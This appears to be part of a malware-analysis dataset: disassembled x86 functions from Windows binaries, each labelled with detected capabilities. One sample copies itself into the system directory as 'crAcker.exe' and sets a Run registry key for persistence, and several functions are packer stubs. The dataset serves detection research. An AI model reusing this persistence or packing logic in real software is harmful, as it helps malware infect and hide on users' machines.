joyce8/EMBER2024-capa huggingface dataset:
Function at 0x40f2f0
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x30
mov eax, dword [0x46a1c0]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
mov ebx, dword [ebp + 8]
push esi
mov esi, ecx
cmp ebx, 0xffffffff
jne 0x40f320
pop esi
xor eax, eax
pop ebx
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.004333df
mov esp, ebp
pop ebp
ret 4
mov eax, dword [esi + 0x20]
push edi
mov ecx, dword [eax]
test ecx, ecx
je 0x40f35c
mov edx, dword [esi + 0x30]
mov edi, dword [edx]
lea eax, [edi + ecx]
cmp ecx, eax
jae 0x40f35c
lea ecx, [edi - 1]
mov eax, ebx
mov dword [edx], ecx
mov edx, dword [esi + 0x20]
pop edi
mov esi, dword [edx]
lea ecx, [esi + 1]
mov dword [edx], ecx
mov byte [esi], bl
pop esi
pop ebx
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.004333df
mov esp, ebp
pop ebp
ret 4
cmp dword [esi + 0x4c], 0
je 0x40f457
mov edi, dword [esi + 0xc]
lea eax, [esi + 0x3c]
cmp dword [edi], eax
jne 0x40f384
mov edx, dword [esi + 0x54]
mov ecx, dword [esi + 0x50]
sub edx, ecx
mov dword [edi], ecx
mov eax, dword [esi + 0x1c]
mov dword [eax], ecx
mov eax, dword [esi + 0x2c]
mov dword [eax], edx
mov ecx, dword [esi + 0x38]
test ecx, ecx
jne 0x40f3b7
push dword [esi + 0x4c]
movsx eax, bl
push eax
call fcn.00438349
add esp, 8
or ecx, 0xffffffff
cmp eax, ecx
cmove ebx, ecx
pop edi
pop esi
mov eax, ebx
pop ebx
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.004333df
mov esp, ebp
pop ebp
ret 4
lea eax, [ebp - 0x2c]
mov byte [ebp - 0x25], bl
mov edx, dword [ecx]
push eax
lea eax, [ebp - 4]
push eax
lea eax, [ebp - 0x24]
push eax
lea eax, [ebp - 0x30]
push eax
lea eax, [ebp - 0x24]
push eax
lea eax, [ebp - 0x25]
push eax
lea eax, [esi + 0x40]
push eax
call dword [edx + 0x1c]
sub eax, 0
je 0x40f417
sub eax, 1
je 0x40f417
sub eax, 2
jne 0x40f457
push dword [esi + 0x4c]
movsx eax, byte [ebp - 0x25]
push eax
call fcn.00438349
add esp, 8
or ecx, 0xffffffff
cmp eax, ecx
cmove ebx, ecx
pop edi
pop esi
mov eax, ebx
pop ebx
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.004333df
mov esp, ebp
pop ebp
ret 4
mov edi, dword [ebp - 0x2c]
lea eax, [ebp - 0x24]
sub edi, eax
je 0x40f434
push dword [esi + 0x4c]
push edi
push 1
push eax
call fcn.0043b042
add esp, 0x10
cmp edi, eax
jne 0x40f457
lea ecx, [ebp - 0x25]
mov byte [esi + 0x3d], 1
or eax, 0xffffffff
cmp dword [ebp - 0x30], ecx
pop edi
pop esi
cmovne eax, ebx
pop ebx
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.004333df
mov esp, ebp
pop ebp
ret 4
mov ecx, dword [ebp - 4]
or eax, 0xffffffff
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.004333df
mov esp, ebp
pop ebp
ret 4
Function at 0x4135c0
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x28
mov eax, dword [0x46a1c0]
xor eax, ebp
mov dword [ebp - 4], eax
push esi
mov esi, ecx
cmp dword [esi + 0x38], 0
je 0x41367a
cmp byte [esi + 0x3d], 0
je 0x41367a
mov eax, dword [esi]
push edi
push 0xffffffffffffffff
call dword [eax + 0xc]
cmp eax, 0xffffffff
je 0x413668
mov ecx, dword [esi + 0x38]
lea eax, [ebp - 0x28]
push eax
lea eax, [ebp - 4]
push eax
mov edx, dword [ecx]
lea eax, [ebp - 0x24]
push eax
lea eax, [esi + 0x40]
push eax
call dword [edx + 0x20]
sub eax, 0
je 0x413630
sub eax, 1
je 0x413634
sub eax, 2
jne 0x413668
mov byte [esi + 0x3d], al
mov al, 1
pop edi
pop esi
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.004333df
mov esp, ebp
pop ebp
ret
mov byte [esi + 0x3d], 0
mov edi, dword [ebp - 0x28]
lea eax, [ebp - 0x24]
sub edi, eax
je 0x413651
push dword [esi + 0x4c]
push edi
push 1
push eax
call fcn.0043b042
add esp, 0x10
cmp edi, eax
jne 0x413668
cmp byte [esi + 0x3d], 0
pop edi
sete al
pop esi
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.004333df
mov esp, ebp
pop ebp
ret
pop edi
xor al, al
pop esi
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.004333df
mov esp, ebp
pop ebp
ret
mov ecx, dword [ebp - 4]
mov al, 1
xor ecx, ebp
pop esi
call fcn.004333df
mov esp, ebp
pop ebp
ret

Function at 0x414e60
Capabilities:
Access peb ldr_data
Get kernel32 base address

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x4543e0
mov eax, dword fs:[0]
push eax
push esi
push edi
mov eax, dword [0x46a1c0]
xor eax, ebp
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov edi, ecx
push 8
mov dword [edi], vtable.std::basic_streambuf_char__struct_std::char_traits_char__.0
mov dword [edi + 4], 0
mov dword [edi + 8], 0
mov dword [edi + 0xc], 0
mov dword [edi + 0x10], 0
mov dword [edi + 0x14], 0
mov dword [edi + 0x18], 0
mov dword [edi + 0x1c], 0
mov dword [edi + 0x20], 0
mov dword [edi + 0x24], 0
mov dword [edi + 0x28], 0
mov dword [edi + 0x2c], 0
mov dword [edi + 0x30], 0
call fcn.004336a7
mov esi, eax
xorps xmm0, xmm0
movq qword [esi], xmm0
push 1
mov dword [ebp - 4], 0
call fcn.0041fc01
add esp, 8
mov dword [esi + 4], eax
mov ecx, edi
mov dword [edi + 0x34], esi
call fcn.00414e00
mov eax, edi
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
mov esp, ebp
pop ebp
ret
Function at 0x414fc0
Capabilities:
Access peb ldr_data

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x4556dd
mov eax, dword fs:[0]
push eax
sub esp, 0x10
push ebx
push esi
push edi
mov eax, dword [0x46a1c0]
xor eax, ebp
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov edi, ecx
mov dword [ebp - 0x10], edi
mov eax, dword [edi]
mov eax, dword [eax + 4]
mov dword [edi + eax], vtable.std::basic_istream_char__struct_std::char_traits_char__.0
mov eax, dword [edi]
mov edx, dword [eax + 4]
lea eax, [edx - 0x18]
mov dword [edx + edi - 4], eax
mov eax, dword [edi]
mov dword [edi + 8], 0
mov dword [edi + 0xc], 0
mov esi, dword [eax + 4]
add esi, edi
mov ecx, esi
call fcn.00402f40
mov eax, dword [ebp + 8]
mov dword [esi + 0x38], eax
mov eax, dword [esi + 0x30]
mov dword [esi + 0x3c], 0
mov ecx, dword [eax + 4]
mov dword [ebp - 0x18], ecx
mov eax, dword [ecx]
call dword [eax + 4]
lea eax, [ebp - 0x1c]
mov dword [ebp - 4], 1
push eax
call fcn.00415b00
add esp, 4
mov ecx, eax
mov edx, dword [eax]
push 0x20
mov eax, dword [edx + 0x20]
call eax
mov byte [ebp - 4], 0
mov bl, al
mov ecx, dword [ebp - 0x18]
test ecx, ecx
je 0x415078
mov edx, dword [ecx]
call dword [edx + 8]
test eax, eax
je 0x415078
mov edx, dword [eax]
mov ecx, eax
push 1
call dword [edx]
cmp dword [esi + 0x38], 0
mov byte [esi + 0x40], bl
jne 0x415091
mov eax, dword [esi + 0xc]
mov ecx, esi
push 0
or eax, 4
push eax
call fcn.00402ec0
mov eax, edi
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 0xc
Function at 0x41b7c0
Capabilities:
Encode data using xor
Generate random numbers using a mersenne twister

Disassembly:
push ebp
mov ebp, esp
push ecx
push esi
mov esi, ecx
push edi
mov dword [ebp - 4], esi
mov eax, dword [esi]
cmp eax, 0x270
jne 0x41b81d
lea edx, [esi + 8]
mov edi, eax
nop dword [eax]
mov ecx, dword [edx]
lea edx, [edx + 4]
xor ecx, dword [edx - 8]
and ecx, 0x7fffffff
xor ecx, dword [edx - 8]
mov eax, ecx
and al, 1
movzx eax, al
neg eax
sbb eax, eax
shr ecx, 1
and eax, 0x9908b0df
xor eax, dword [edx + 0x62c]
xor eax, ecx
mov dword [edx + 0x9b8], eax
sub edi, 1
jne 0x41b7e0
mov eax, dword [esi]
jmp 0x41b8fb
cmp eax, 0x4e0
jb 0x41b8fb
lea edi, [esi + 0x9c4]
mov esi, 0xe3
push ebx
mov ebx, dword [edi]
lea edx, [edi]
mov eax, ebx
mov ebx, dword [edx + 4]
lea edi, [edx + 4]
mov ecx, ebx
xor ecx, eax
and ecx, 0x7fffffff
xor ecx, eax
mov eax, ecx
and al, 1
movzx eax, al
neg eax
sbb eax, eax
shr ecx, 1
and eax, 0x9908b0df
xor eax, dword [edx + 0x634]
xor eax, ecx
mov dword [edx - 0x9c0], eax
sub esi, 1
jne 0x41b836
mov edi, dword [ebp - 4]
mov esi, 0x18c
add edi, 0xd50
mov ebx, dword [edi]
mov eax, ebx
lea edx, [edi]
mov ebx, dword [edx + 4]
lea edi, [edx + 4]
mov ecx, eax
xor ecx, ebx
and ecx, 0x7fffffff
xor ecx, eax
mov eax, ecx
and al, 1
movzx eax, al
neg eax
sbb eax, eax
shr ecx, 1
and eax, 0x9908b0df
xor eax, dword [edx - 0xd4c]
xor eax, ecx
mov dword [edx - 0x9c0], eax
sub esi, 1
jne 0x41b881
mov esi, dword [ebp - 4]
pop ebx
mov eax, dword [esi + 0x1380]
mov ecx, dword [esi + 4]
xor ecx, eax
and ecx, 0x7fffffff
xor ecx, eax
mov eax, ecx
and al, 1
movzx eax, al
neg eax
sbb eax, eax
shr ecx, 1
and eax, 0x9908b0df
xor eax, dword [esi + 0x634]
xor eax, ecx
mov dword [esi + 0x9c0], eax
xor eax, eax
mov dword [esi], 0
mov edx, dword [esi + eax*4 + 4]
inc eax
mov dword [esi], eax
mov ecx, edx
mov eax, dword [esi + 0x1384]
shr ecx, 0xb
and eax, ecx
xor edx, eax
mov eax, edx
and eax, 0xff3a58ad
shl eax, 7
xor edx, eax
mov eax, edx
and eax, 0xffffdf8c
shl eax, 0xf
xor edx, eax
mov eax, edx
shr eax, 0x12
pop edi
xor eax, edx
pop esi
mov esp, ebp
pop ebp
ret

Function at 0x4255b3
Capabilities:
Encode data using xor
Hash data using fnv

Disassembly:
push ebp
mov ebp, esp
mov ecx, dword [ebp + 8]
xor edx, edx
push esi
mov esi, dword [ebp + 0xc]
cmp dword [ebp + 0x10], edx
jbe 0x4255d6
movzx eax, byte [esi + edx]
xor eax, ecx
imul ecx, eax, 0x1000193
inc edx
cmp edx, dword [ebp + 0x10]
jb 0x4255c4
mov eax, ecx
pop esi
pop ebp
ret

Function at 0x432e1a
Capabilities:
Get geographical location

Disassembly:
push ebp
mov ebp, esp
push ecx
call fcn.0043f83a
mov eax, dword [eax + 0x14]
test eax, eax
je 0x432e5d
and dword [ebp - 4], 0
lea ecx, [ebp - 4]
push 2
push ecx
push 0x22
push eax
call dword [sym.imp.KERNEL32.dll_GetLocaleInfoEx]
movzx eax, word [ebp - 4]
sub eax, 0x30
je 0x432e5d
sub eax, 1
je 0x432e58
sub eax, 1
je 0x432e54
xor eax, eax
leave
ret
push 3
jmp 0x432e5f
xor eax, eax
inc eax
leave
ret
push 2
pop eax
leave
ret
Function at 0x43424f
Capabilities:
Parse pe header

Disassembly:
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test eax, eax
je 0x43428e
mov ecx, 0x5a4d
cmp word [eax], cx
jne 0x43428e
mov ecx, dword [eax + 0x3c]
add ecx, eax
cmp dword [ecx], 0x4550
jne 0x43428e
mov eax, 0x10b
cmp word [ecx + 0x18], ax
jne 0x43428e
cmp dword [ecx + 0x74], 0xe
jbe 0x43428e
cmp dword [ecx + 0xe8], 0
setne al
ret
xor al, al
ret

Function at 0x447daa
Capabilities:
Read file on windows

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
pop ebp
jmp fcn.00447c27

Function at 0x448dc7
Capabilities:
Read file on windows

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x14
mov eax, dword [ebp + 8]
mov ecx, dword [ebp + 8]
and eax, 0x3f
mov edx, dword [ebp + 0xc]
push ebx
sar ecx, 6
push esi
push edi
imul edi, eax, 0x30
mov eax, dword [ecx*4 + 0x46db08]
mov dword [ebp - 0xc], ecx
mov ecx, dword [eax + edi + 0x18]
mov dword [ebp - 0x10], ecx
mov ecx, dword [ebp + 0x10]
test ecx, ecx
je 0x448e08
cmp byte [edx], 0xa
jne 0x448e08
or byte [eax + edi + 0x28], 4
jmp 0x448e0d
and byte [eax + edi + 0x28], 0xfb
lea eax, [edx + ecx]
mov ebx, edx
mov dword [ebp - 8], eax
mov esi, edx
cmp edx, eax
jae 0x448efe
mov al, byte [ebx]
cmp al, 0x1a
je 0x448edf
cmp al, 0xd
je 0x448e36
mov byte [esi], al
inc esi
inc ebx
jmp 0x448ed4
lea eax, [ebx + 1]
cmp eax, dword [ebp - 8]
jae 0x448e56
cmp byte [eax], 0xa
jne 0x448e4b
push 2
mov byte [esi], 0xa
pop eax
jmp 0x448e51
xor eax, eax
mov byte [esi], 0xd
inc eax
add ebx, eax
inc esi
jmp 0x448ed4
push 0
mov ebx, eax
lea eax, [ebp - 0x14]
push eax
push 1
lea eax, [ebp - 1]
push eax
push dword [ebp - 0x10]
call dword [sym.imp.KERNEL32.dll_ReadFile]
test eax, eax
je 0x448ecd
cmp dword [ebp - 0x14], 0
je 0x448ecd
mov ecx, dword [ebp - 0xc]
mov eax, dword [ecx*4 + 0x46db08]
test byte [eax + edi + 0x28], 0x48
je 0x448ea4
mov dl, byte [ebp - 1]
cmp dl, 0xa
jne 0x448e94
mov byte [esi], dl
jmp 0x448ed0
mov byte [esi], 0xd
mov eax, dword [ecx*4 + 0x46db08]
mov byte [eax + edi + 0x2a], dl
jmp 0x448ed0
cmp byte [ebp - 1], 0xa
jne 0x448eb6
mov edx, dword [ebp + 0xc]
cmp esi, edx
jne 0x448eb6
mov byte [esi], 0xa
jmp 0x448e53
push 1
push 0xffffffffffffffff
push 0xffffffffffffffff
push dword [ebp + 8]
call fcn.004498c8
add esp, 0x10
cmp byte [ebp - 1], 0xa
je 0x448ed1
mov byte [esi], 0xd
inc esi
mov edx, dword [ebp + 0xc]
cmp ebx, dword [ebp - 8]
jb 0x448e1f
jmp 0x448efe
mov ecx, dword [ebp - 0xc]
mov ecx, dword [ecx*4 + 0x46db08]
mov al, byte [ecx + edi + 0x28]
test al, 0x40
jne 0x448ef9
or al, 2
mov byte [ecx + edi + 0x28], al
jmp 0x448efe
mov cl, byte [ebx]
mov byte [esi], cl
inc esi
sub esi, edx
pop edi
mov eax, esi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x448f09
Capabilities:
Read file on windows

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x20
mov eax, dword [ebp + 8]
mov ecx, dword [ebp + 8]
and eax, 0x3f
push ebx
push esi
mov esi, dword [ebp + 0x10]
push edi
sar ecx, 6
imul edi, eax, 0x30
mov dword [ebp - 8], ecx
push 0xa
mov eax, dword [ecx*4 + 0x46db08]
pop ebx
mov edx, dword [edi + eax + 0x18]
mov dword [ebp - 0x14], edx
mov edx, dword [ebp + 0xc]
test esi, esi
je 0x448f4d
cmp word [edx], bx
jne 0x448f4d
or byte [edi + eax + 0x28], 4
jmp 0x448f52
and byte [edi + eax + 0x28], 0xfb
lea eax, [edx + esi*2]
mov ebx, edx
mov dword [ebp - 0xc], eax
mov esi, edx
cmp edx, eax
jae 0x4490a6
mov dword [ebp - 0x10], 0xd
movzx eax, word [ebx]
cmp eax, 0x1a
je 0x449086
cmp ax, word [ebp - 0x10]
je 0x448f8b
mov word [esi], ax
add esi, 2
add ebx, 2
jmp 0x44907b
lea eax, [ebx + 2]
cmp eax, dword [ebp - 0xc]
jae 0x448fb1
push 0xa
pop ecx
cmp word [eax], cx
jne 0x448fa1
push ecx
pop eax
push 4
jmp 0x448fa6
push 0xd
pop eax
push 2
mov word [esi], ax
pop eax
add ebx, eax
jmp 0x449075
push 0
mov ebx, eax
lea eax, [ebp - 0x18]
push eax
push 2
lea eax, [ebp - 4]
push eax
push dword [ebp - 0x14]
call dword [sym.imp.KERNEL32.dll_ReadFile]
test eax, eax
je 0x44906c
cmp dword [ebp - 0x18], 0
je 0x44906c
mov ecx, dword [ebp - 8]
push 0xa
mov eax, dword [ecx*4 + 0x46db08]
test byte [edi + eax + 0x28], 0x48
pop eax
je 0x449038
mov dx, word [ebp - 4]
cmp dx, ax
jne 0x448ffc
mov word [esi], ax
jmp 0x449030
push 0xd
pop eax
mov word [esi], ax
mov eax, dword [ecx*4 + 0x46db08]
mov word [ebp - 0x20], dx
push 0xa
mov byte [edi + eax + 0x2a], dl
mov ecx, dword [ecx*4 + 0x46db08]
mov al, byte [ebp - 0x1f]
pop edx
mov byte [edi + ecx + 0x2b], al
mov ecx, dword [ebp - 8]
mov eax, dword [ecx*4 + 0x46db08]
mov byte [edi + eax + 0x2c], dl
mov edx, dword [ebp + 0xc]
add esi, 2
jmp 0x44907b
cmp word [ebp - 4], ax
jne 0x44904d
mov edx, dword [ebp + 0xc]
cmp esi, edx
jne 0x44904d
mov word [esi], ax
add esi, 2
jmp 0x44907b
push 1
push 0xffffffffffffffff
push 0xfffffffffffffffe
push dword [ebp + 8]
call fcn.004498c8
mov edx, dword [ebp + 0xc]
add esp, 0x10
push 0xa
pop eax
cmp word [ebp - 4], ax
je 0x449078
jmp 0x44906f
mov edx, dword [ebp + 0xc]
push 0xd
pop eax
mov word [esi], ax
add esi, 2
mov ecx, dword [ebp - 8]
cmp ebx, dword [ebp - 0xc]
jb 0x448f6b
jmp 0x4490a6
mov ecx, dword [ecx*4 + 0x46db08]
mov al, byte [edi + ecx + 0x28]
test al, 0x40
jne 0x44909d
or al, 2
mov byte [edi + ecx + 0x28], al
jmp 0x4490a6
mov cx, word [ebx]
mov word [esi], cx
add esi, 2
sub esi, edx
and esi, 0xfffffffe
pop edi
mov eax, esi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x44c174
Capabilities:
Set environment variable

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
pop ebp
jmp fcn.0044be16

Function at 0x453a40
Capabilities:
Parse pe header

Disassembly:
push ebp
mov ebp, esp
mov eax, dword [ebp + 8]
mov ecx, 0x5a4d
cmp word [eax], cx
jne 0x453a6d
mov ecx, dword [eax + 0x3c]
add ecx, eax
cmp dword [ecx], 0x4550
jne 0x453a6d
mov edx, 0x10b
xor eax, eax
cmp word [ecx + 0x18], dx
sete al
pop ebp
ret
xor eax, eax
pop ebp
ret

Function at 0x41b790
Capabilities:
Packed with generic packer

Disassembly:
pushal
mov esi, section.UPX1
lea edi, [esi - 0x10000]
push edi
jmp 0x41b7aa
mov al, byte [esi]
inc esi
mov byte [edi], al
inc edi
add ebx, ebx
jne 0x41b7b1
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0x41b7a0
mov eax, 1
add ebx, ebx
jne 0x41b7c3
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc eax, eax
add ebx, ebx
jae 0x41b7b8
jne 0x41b7d4
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jae 0x41b7b8
xor ecx, ecx
sub eax, 3
jb 0x41b7e8
shl eax, 8
mov al, byte [esi]
inc esi
xor eax, 0xffffffff
je 0x41b85a
mov ebp, eax
add ebx, ebx
jne 0x41b7f3
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
add ebx, ebx
jne 0x41b800
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
jne 0x41b824
inc ecx
add ebx, ebx
jne 0x41b810
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
add ebx, ebx
jae 0x41b805
jne 0x41b821
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jae 0x41b805
add ecx, 2
cmp ebp, 0xfffff300
adc ecx, 1
lea edx, [edi + ebp]
cmp ebp, 0xfffffffc
jbe 0x41b844
mov al, byte [edx]
inc edx
mov byte [edi], al
inc edi
dec ecx
jne 0x41b835
jmp 0x41b7a6
mov eax, dword [edx]
add edx, 4
mov dword [edi], eax
add edi, 4
sub ecx, 4
ja 0x41b844
add edi, ecx
jmp 0x41b7a6
pop esi
mov edi, esi
mov ecx, 0x12d
mov al, byte [edi]
inc edi
sub al, 0xe8
cmp al, 1
ja 0x41b862
cmp byte [edi], 2
jne 0x41b862
mov eax, dword [edi]
mov bl, byte [edi + 4]
shr ax, 8
rol eax, 0x10
xchg ah, al
sub eax, edi
sub bl, 0xe8
add eax, esi
mov dword [edi], eax
add edi, 5
mov al, bl
loop 0x41b867
lea edi, [esi + 0x19000]
mov eax, dword [edi]
or eax, eax
je 0x41b8d6
mov ebx, dword [edi + 4]
lea eax, [eax + esi + 0x1b638]
add ebx, esi
push eax
add edi, 8
call dword [esi + 0x1b6cc]
xchg ebp, eax
mov al, byte [edi]
inc edi
or al, al
je 0x41b894
mov ecx, edi
push edi
dec eax
repne scasb al, byte es:[edi]
push ebp
call dword [esi + 0x1b6d4]
or eax, eax
je 0x41b8d0
mov dword [ebx], eax
add ebx, 4
jmp 0x41b8b1
call dword [esi + 0x1b6d0]
mov ebp, dword [esi + 0x1b6d8]
lea edi, [esi - 0x1000]
mov ebx, 0x1000
push eax
push esp
push 4
push ebx
push edi
call ebp
lea eax, [edi + 0x1f7]
and byte [eax], 0x7f
and byte [eax + 0x28], 0x7f
pop eax
push eax
push esp
push eax
push ebx
push edi
call ebp
pop eax
popal
lea eax, [esp - 0x80]
push 0
cmp esp, eax
jne 0x41b90a
sub esp, 0xffffff80
jmp 0x405a80
Function at 0x401290
Capabilities:
Create thread

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x28
call sym._9
mov dword [esp + 0x14], 0
mov dword [esp + 0x10], 0
mov dword [esp + 0xc], 0
mov dword [esp + 8], sym._6
mov dword [esp + 4], 0
mov dword [esp], 0
call sub.KERNEL32.DLL_CreateThread
sub esp, 0x18
mov dword [esp], 0xea60
call sub.KERNEL32.DLL_Sleep
sub esp, 4
call sub.msvcrt.dll_rand
mov ecx, eax
mov eax, 0x2e8ba2e9
imul ecx
sar edx, 1
mov eax, ecx
sar eax, 0x1f
sub edx, eax
mov eax, edx
mov dword [ebp - 4], eax
mov edx, dword [ebp - 4]
mov eax, edx
shl eax, 2
add eax, edx
add eax, eax
add eax, edx
sub ecx, eax
mov eax, ecx
mov dword [ebp - 4], eax
mov eax, dword [ebp - 4]
mov dword [esp], eax
call sym._8
jmp 0x4012d2
Function at 0x4016c2
Capabilities:
Enumerate files on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x4a8
mov dword [esp], 0x3a98
call sub.KERNEL32.DLL_Sleep
sub esp, 4
mov dword [ebp - 0x48c], 0
mov eax, dword [ebp - 0x48c]
cmp dword [eax*4 + section..data], 0
je 0x4016cb
mov eax, dword [ebp - 0x48c]
mov eax, dword [eax*4 + section..data]
mov dword [esp + 4], eax
lea eax, [ebp - 0x378]
mov dword [esp], eax
call sub.msvcrt.dll_sprintf
mov eax, dword [ebp - 0x48c]
mov eax, dword [eax*4 + section..data]
mov dword [esp + 8], eax
mov dword [esp + 4], str._s.
lea eax, [ebp - 0x268]
mov dword [esp], eax
call sub.msvcrt.dll_sprintf
lea eax, [ebp - 0x148]
mov dword [esp + 4], eax
lea eax, [ebp - 0x268]
mov dword [esp], eax
call sub.KERNEL32.DLL_FindFirstFileA
sub esp, 8
mov dword [ebp - 0x14c], eax
lea eax, [ebp - 0x148]
mov dword [esp + 4], eax
mov eax, dword [ebp - 0x14c]
mov dword [esp], eax
call sub.KERNEL32.DLL_FindNextFileA
sub esp, 8
test eax, eax
je 0x4017f7
cmp dword [ebp - 0x148], 0x20
jne 0x40175b
mov eax, dword [ebp - 0x48c]
mov dword [esp + 4], 0x404000
mov eax, dword [eax*4 + section..data]
mov dword [esp], eax
call sub.msvcrt.dll_strcmp
test eax, eax
jne 0x4017b7
lea eax, [ebp - 0x148]
add eax, 0x2c
mov dword [esp], eax
call sym._5
jmp 0x40175b
lea eax, [ebp - 0x148]
add eax, 0x2c
mov dword [esp + 0xc], eax
lea eax, [ebp - 0x378]
mov dword [esp + 8], eax
mov dword [esp + 4], str._s_s
lea eax, [ebp - 0x488]
mov dword [esp], eax
call sub.msvcrt.dll_sprintf
lea eax, [ebp - 0x488]
mov dword [esp], eax
call sym._5
jmp 0x40175b
mov eax, dword [ebp - 0x14c]
mov dword [esp], eax
call sub.KERNEL32.DLL_CloseHandle
sub esp, 4
lea eax, [ebp - 0x48c]
inc dword [eax]
jmp 0x4016e4
Function at 0x401a78
Capabilities:
Copy file
Get common file path
Persist via run registry key
Set registry value

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x258
mov dword [esp], 0
call sub.KERNEL32.DLL_GetModuleHandleA
sub esp, 4
mov edx, eax
mov dword [esp + 8], 0x103
lea eax, [ebp - 0x128]
mov dword [esp + 4], eax
mov dword [esp], edx
call sub.KERNEL32.DLL_GetModuleFileNameA
sub esp, 0xc
mov dword [esp + 4], 0x103
lea eax, [ebp - 0x238]
mov dword [esp], eax
call sub.KERNEL32.DLL_GetSystemDirectoryA
sub esp, 8
mov dword [esp + 4], str.crAcker.exe
lea eax, [ebp - 0x238]
mov dword [esp], eax
call sub.msvcrt.dll_strcat
lea eax, [ebp - 0x238]
lea edx, [ebp - 0x128]
mov dword [esp + 4], eax
mov dword [esp], edx
call sub.msvcrt.dll_strcmp
test eax, eax
je 0x401b9f
mov dword [esp + 8], 0
lea eax, [ebp - 0x238]
mov dword [esp + 4], eax
lea eax, [ebp - 0x128]
mov dword [esp], eax
call sub.KERNEL32.DLL_CopyFileA
sub esp, 0xc
lea eax, [ebp - 0xc]
mov dword [esp + 0x10], eax
mov dword [esp + 0xc], 2
mov dword [esp + 8], 0
mov dword [esp + 4], str.SoftwareMicrosoftWindowsCurrentVersionRun
mov dword [esp], 0x80000002
call sub.ADVAPI32.DLL_RegOpenKeyExA
sub esp, 0x14
lea eax, [ebp - 0x238]
mov dword [esp], eax
call sub.msvcrt.dll_strlen
mov dword [esp + 0x14], eax
lea eax, [ebp - 0x238]
mov dword [esp + 0x10], eax
mov dword [esp + 0xc], 1
mov dword [esp + 8], 0
mov dword [esp + 4], str.Win32.crAcker.A
mov eax, dword [ebp - 0xc]
mov dword [esp], eax
call sub.ADVAPI32.DLL_RegSetValueExA
sub esp, 0x18
mov eax, dword [ebp - 0xc]
mov dword [esp], eax
call sub.ADVAPI32.DLL_RegCloseKey
sub esp, 4
mov eax, 0
leave
ret

Function at 0x401bb0
Capabilities:
Accept command line arguments

Disassembly:
push ebp
mov eax, 0x10
mov ebp, esp
push ebx
sub esp, 0x64
and esp, 0xfffffff0
call fcn.00402110
call sym.___main
call sub.KERNEL32.DLL_GetCommandLineA
mov ebx, eax
lea eax, [ebp - 0x58]
mov dword [esp], eax
call sub.KERNEL32.DLL_GetStartupInfoA
sub esp, 4
test ebx, ebx
jne 0x401be8
jmp 0x401c86
inc ebx
movzx ecx, byte [ebx]
cmp cl, 0x20
sete al
cmp cl, 9
sete dl
or eax, edx
test al, 1
jne 0x401be7
cmp cl, 0x22
je 0x401c40
cmp cl, 0x20
setne al
xor edx, edx
cmp cl, 9
setne dl
test eax, edx
je 0x401c60
lea esi, [esi]
lea edi, [edi]
test cl, cl
je 0x401c60
inc ebx
movzx ecx, byte [ebx]
cmp cl, 0x20
setne al
xor edx, edx
cmp cl, 9
setne dl
test eax, edx
jne 0x401c20
jmp 0x401c60
inc ebx
movzx ecx, byte [ebx]
cmp cl, 0x22
setne al
xor edx, edx
test cl, cl
setne dl
test eax, edx
jne 0x401c40
cmp cl, 0x22
je 0x401cc2
lea esi, [esi]
cmp cl, 0x20
sete al
cmp cl, 9
sete dl
jmp 0x401c80
inc ebx
movzx ecx, byte [ebx]
cmp cl, 0x20
sete dl
cmp cl, 9
sete al
or eax, edx
test al, 1
jne 0x401c70
mov dword [esp], 0
call sub.KERNEL32.DLL_GetModuleHandleA
sub esp, 4
test byte [ebp - 0x2c], 1
mov edx, 0xa
je 0x401ca4
movzx edx, word [ebp - 0x28]
mov dword [esp + 8], ebx
xor ebx, ebx
mov dword [esp + 4], ebx
mov dword [esp + 0xc], edx
mov dword [esp], eax
call sym._4
sub esp, 0x10
mov ebx, dword [ebp - 4]
leave
ret
inc ebx
movzx ecx, byte [ebx]
jmp 0x401c60
Function at 0x42e003
Capabilities:
Encode data using xor
Packed with generic packer

Disassembly:
pushal
nop
nop
mov eax, section..text
nop
nop
nop
push 4
nop
nop
nop
pop edi
nop
nop
nop
nop
nop
nop
nop
cmp eax, 0
nop
nop
je 0x42e072
nop
nop
nop
mov ebx, 0x407ef8
nop
mov ecx, ebx
nop
nop
nop
nop
nop
nop
nop
sub ecx, eax
xor edx, edx
nop
nop
nop
nop
nop
nop
nop
nop
nop
push eax
nop
nop
nop
nop
mov eax, ecx
nop
